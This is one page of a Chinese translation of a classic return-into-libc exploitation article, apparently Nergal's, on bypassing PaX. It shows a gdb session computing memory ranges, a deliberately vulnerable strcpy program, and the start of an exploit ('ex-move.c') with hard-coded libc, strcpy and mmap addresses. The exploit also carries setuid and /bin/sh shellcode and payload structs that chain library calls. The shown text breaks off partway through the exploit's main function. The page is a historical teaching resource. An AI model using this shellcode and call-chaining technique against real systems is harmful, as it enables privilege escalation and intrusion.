高级返回库函数exploit代码实现

找到bigbuf的地址是0x8049ac0.即为预定义的FRAMESINDATA数值。

2) VIND
在上文中提到了[低地址，高地址]的间隔，在间隔中寻找短零字节，这个间隔的内存位置是
[VERSYM+(low_addr-SYMTAB)/8, VERSYM+(hi_addr-SYMTAB)/8]区域。（详见6.2节）
[nergal@behemoth pax]$ gdb ./icebreaker
(gdb) set args testing  （设置参数为"testing")
(gdb) r                               (以参数testing运行icebreaker程序)
Starting program: /home/nergal/pax/./icebreaker testing
Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x4ffb7d30 in ?? ()      <- icebreaker执行了pax
(gdb) c        （继续执行下个函数）
Continuing.

Program received signal SIGSEGV, Segmentation fault.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x5060708 in ?? ()      <- pax 发生段错误
(gdb) shell               （获得shell)
[nergal@behemoth pax]$ ps ax | grep pax        (获得pax的进程号：1419）
 1419 pts/0    T      0:00 pax                
[nergal@behemoth pax]$ cat /proc/1419/maps    （查看进程号中的映像文件）
08048000-08049000 r-xp 00000000 03:45 100958     /home/nergal/pax/pax
08049000-0804a000 rw-p 00000000 03:45 100958     /home/nergal/pax/pax
^^^^^^^^^^^^^^^^^
^^^^^^^^^^^^^^^^^ 这是我们找的低地址（0x08049000)，高地址(0x0804a000)
4ffb6000-4ffcc000 r-xp 00000000 03:45 107760     /lib/ld-2.1.92.so
4ffcc000-4ffcd000 rw-p 00015000 03:45 107760     /lib/ld-2.1.92.so
4ffcd000-4ffce000 rw-p 00000000 00:00 0
4ffd4000-500ef000 r-xp 00000000 03:45 107767     /lib/libc-2.1.92.so
500ef000-500f5000 rw-p 0011a000 03:45 107767     /lib/libc-2.1.92.so
500f5000-500f9000 rw-p 00000000 00:00 0
bfff6000-bfff8000 rw-p fffff000 00:00 0
[nergal@behemoth pax]$ exit         （退出shell,进入gdb调试模式)
exit
(gdb) printf "0x%x\n", 0x80482a8+(0x08049000-0x8048164)/8  
 0x804847b          (计算出VERSYM+(low_addr-SYMTAB)/8的数值）

(gdb) printf "0x%x\n", 0x80482a8+(0x0804a000-0x8048164)/8
0x804867b          （计算出VERSYM+(hi_addr-SYMTAB)/8的数值)
/* 现在我们在[0x804847b, 0x804867b]区域搜索短零字节
(gdb) printf "0x%x\n", 0x804867b-0x804847b
0x200              （计算该区域的大小）
(gdb) x/256hx 0x804847b      （从该区域开始地址，显示出256个16进制内存区域，以搜索"0000"短零字节）
... 非常多的象流星雨的0000在这里...

现在阅读6.2节的文章，了解更多的"流星花园"
<-->代码部分
<++> vuln.c
#include <stdlib.h>
#include <string.h>
int
main(int argc, char ** argv)
{
 char buf[16];
 char * ptr = getenv("LNG");
 if (ptr)
  strcpy(buf,ptr);
}
<-->

<++> ex-move.c
/* by Nergal */

#include <stdio.h>
#include <stddef.h>
#include <sys/mman.h>

#define LIBC             0x4001e000
#define STRCPY           0x08048398
#define MMAP             (0x000daf10+LIBC)
#define POPSTACK         0x80484be
#define PLAIN_RET        0x80484c1
#define POPNUM           0x2c
#define FRAMES           0xbffffde0

#define MMAP_START       0xaa011000

char hellcode[] =
    "\x90"
    "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

/* This is a stack frame of a function which takes two arguments */
struct two_arg {
        unsigned int func;
        unsigned int leave_ret;
        unsigned int param1;
        unsigned int param2;
};
struct mmap_args {
        unsigned int func;
        unsigned int leave_ret;
        unsigned int start;
        unsigned int length;
        unsigned int prot;
        unsigned int flags;
       

 int fd;
        unsigned int offset;
};

/* The beginning of our overflow payload.
Consumes the buffer space and overwrites %eip */
struct ov {
        char scratch[28];
        unsigned int eip;
};

/* The second part ot the payload. Four functions will be called:
strcpy, strcpy, mmap, strcpy */
struct ourbuf {
        struct two_arg zero1;
        char pad1[8 + POPNUM - sizeof(struct two_arg)];
        struct two_arg zero2;
        char pad2[8 + POPNUM - sizeof(struct two_arg)];
        struct mmap_args mymmap;
        char pad3[8 + POPNUM - sizeof(struct mmap_args)];
        struct two_arg trans;
        char hell[sizeof(hellcode)];
};

#define PTR_TO_NULL (FRAMES+sizeof(struct ourbuf))
file://#define PTR_TO_NULL 0x80484a7

main(int argc, char **argv)
{
        char lg[sizeof(struct ov) + sizeof(struct ourbuf) + 4 + 1];
&n

上一页  [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]  ...  下一页 >> 

Copyright ＠ 2007-2012 敏韬网(敏而好学，文韬武略--MinTao.Net)（学习笔记） Inc All Rights Reserved.
闵涛 E_mail:admin@mintao.net(欢迎提供学习资源)

鄂公网安备 42011102001154号

站长：MinTao ICP备案号：鄂ICP备11006601号-18